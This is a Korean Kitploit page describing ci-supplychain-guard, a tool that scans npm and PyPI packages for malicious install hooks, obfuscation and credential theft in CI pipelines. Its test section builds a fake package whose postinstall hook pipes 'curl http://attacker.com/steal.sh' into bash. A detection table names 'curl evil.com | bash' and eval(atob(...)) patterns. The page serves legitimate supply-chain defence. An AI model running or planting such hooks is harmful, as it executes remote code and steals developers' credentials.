Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ci-supplychain-guard — CI/CD 파이프라인에서 패턴 매칭과 AST 분석을 사용하여 악성 종속성을 탐지하는 정적 분석 도구로, 신호등 방식의 위험 점수 시스템과 선택적 Docker 샌드박스 검증을 제공합니다. | Kitploit
도구/GitHubGitHub/otsmane-ahmed/ci-supplychain-guard
Static AnalysisVulnerability ScannersContainer SecurityCode AnalysisMalware AnalysisDevSecOpsSecret DetectionSupply Chain Security

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
otsmane-ahmed/ci-supplychain-guard

ci-supplychain-guard

CI/CD 파이프라인에서 패턴 매칭과 AST 분석을 사용하여 악성 종속성을 탐지하는 정적 분석 도구로, 신호등 방식의 위험 점수 시스템과 선택적 Docker 샌드박스 검증을 제공합니다.

저장소 보기
286개월 전Kitploit 검토 완료

CI 공급망 보호

CI/CD 파이프라인에서 코드베이스에 병합되기 전에 악성 종속성을 탐지하는 정적 분석 도구입니다.

License: MIT Python 3.10+

저자: Otsmane Ahmed
상태: 연구 프로토타입 v1.0


빠른 시작

root@kitploit:~
# 1. 클론 및 설치
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # Windows: venv\Scripts\activate
pip install -r requirements.txt


```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

# 2. 패키지 디렉터리 스캔
python3 main_guard.py /path/to/package

도구는 SAFE, SUSPICIOUS 또는 BLOCKED 판정을 출력합니다.


사용 예제

설치 전 패키지 스캔

npm 또는 PyPI에서 패키지를 다운로드했고 안전한지 확인하려는 경우:

root@kitploit:~
# NPM 패키지
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package

# Python 패키지
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0

설치된 의존성 스캔

프로젝트에 이미 설치된 패키지 확인:

root@kitploit:~
# 모든 npm 패키지 스캔
python3 main_guard.py ./node_modules

# 특정 Python 패키지 스캔
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

참고: node_modules와 같은 대규모 디렉터리를 스캔하면 시간이 더 오래 걸립니다. 더 빠른 결과를 위해 개별 패키지를 스캔하세요.

CI/CD 통합

GitHub Actions 워크플로 예시:

root@kitploit:~
name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../your-project-directory

악성 코드가 감지되면 파이프라인은 실패합니다(종료 코드 1).


출력 이해하기

안전한 패키지

root@kitploit:~
$ python3 main_guard.py ./clean-package

Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE

악성 패턴이 감지되지 않았습니다.

차단된 패키지

root@kitploit:~
$ python3 main_guard.py ./evil-package

Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

위험한 패턴(예: 셸 인젝션, 자격 증명 도용)이 감지되었습니다. 이 패키지를 설치하지 마십시오.

점수가 10 이상인 패키지는 자동으로 차단됩니다.

의심스러운 패키지

root@kitploit:~
$ python3 main_guard.py ./suspicious-package

Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...

몇 가지 우려되는 패턴이 발견되었습니다. Docker가 실행 중이면 패키지가 격리된 샌드박스에서 테스트됩니다. 수동 검토가 권장됩니다.


탐지 기능


도구 테스트

CI-Guard를 테스트하려면 샘플 악성 패키지를 생성할 수 있습니다:

root@kitploit:~
# 테스트 디렉터리 생성
mkdir ~/test-malicious
cd ~/test-malicious

# 악성 postinstall 훅이 있는 package.json 생성
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://attacker.com/steal.sh | bash"
  }
}
EOF

# 스캔 실행
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious

예상 출력:

root@kitploit:~
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

성능

생태계테스트한 패키지 수탐지율
NPM15,05989.6%
PyPI2,25782.2%

평균 스캔 시간: 패키지당 1~3초 (정적 분석만)


FAQ

이미 설치된 패키지를 스캔할 수 있나요?

네. CI-Guard를 node_modules 디렉터리 또는 Python site-packages에 지정하세요:

root@kitploit:~
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

정당한 패키지가 플래그되면 어떻게 하나요?

CI-Guard는 안전 쪽으로 오류를 범합니다. 플래그된 패키지를 신뢰하는 경우:

  1. analyzer/static_scanner.py의 탐지 규칙 확인
  2. 경고를 트리거한 패턴 식별
  3. 수동으로 패키지 소스 코드 검토

Windows와 macOS에서도 작동하나요?

네. Python과 Docker는 크로스 플랫폼입니다.

Docker를 설치해야 하나요?

Docker는 점수가 49인 패키지(의심스러움)에만 필요합니다. 대부분의 패키지는 명확히 안전(03)하거나 명확히 악성(10+)입니다.


요구 사항

  • Python 3.10+
  • Docker (선택 사항, 샌드박스 검증용)
  • 지원 OS: Linux, macOS, Windows

작동 방식

CI-Guard는 3단계 '신호등' 시스템을 사용합니다:

  • 녹색(0-3): 안전 - 악성 패턴 감지되지 않음
  • 노란색(4-9): 의심스러움 - 샌드박스 검증 필요
  • 빨간색(10+): 차단됨 - 치명적인 악성 패턴 발견

탐지 방법:

  • 정적 분석: 정규식 및 AST(추상 구문 트리)를 사용한 패턴 매칭
  • 도달 가능성 분석: 데드 코드에서 오탐지 필터링
  • 샌드박스: 탈취 탐지를 위한 허니토큰이 있는 선택적 Docker 컨테이너

기여

풀 리퀘스트를 환영합니다. 새 탐지 규칙을 추가하려면:

analyzer/static_scanner.py를 편집하고 RULES 목록에 추가하세요:

root@kitploit:~
{
    "id": "SA-XXX",
    "name": "Rule Name",
    "pattern": r"regex_pattern",
    "weight": 8  # Score contribution (1-10)
}

라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요.


연락처

Otsmane Ahmed - GitHub

도구 다운로드
공격 유형예시상태
셸 인젝션curl evil.com | bash탐지
자격 증명 도용process.env 읽기 및 외부 서버 전송탐지
코드 난독화eval(atob('base64...'))탐지
악성 설치 스크립트NPM postinstall 훅탐지
바이너리 파일패키지 내 .exe, .dll탐지
타이포스쿼팅인기 패키지와 유사한 이름수동 확인 필요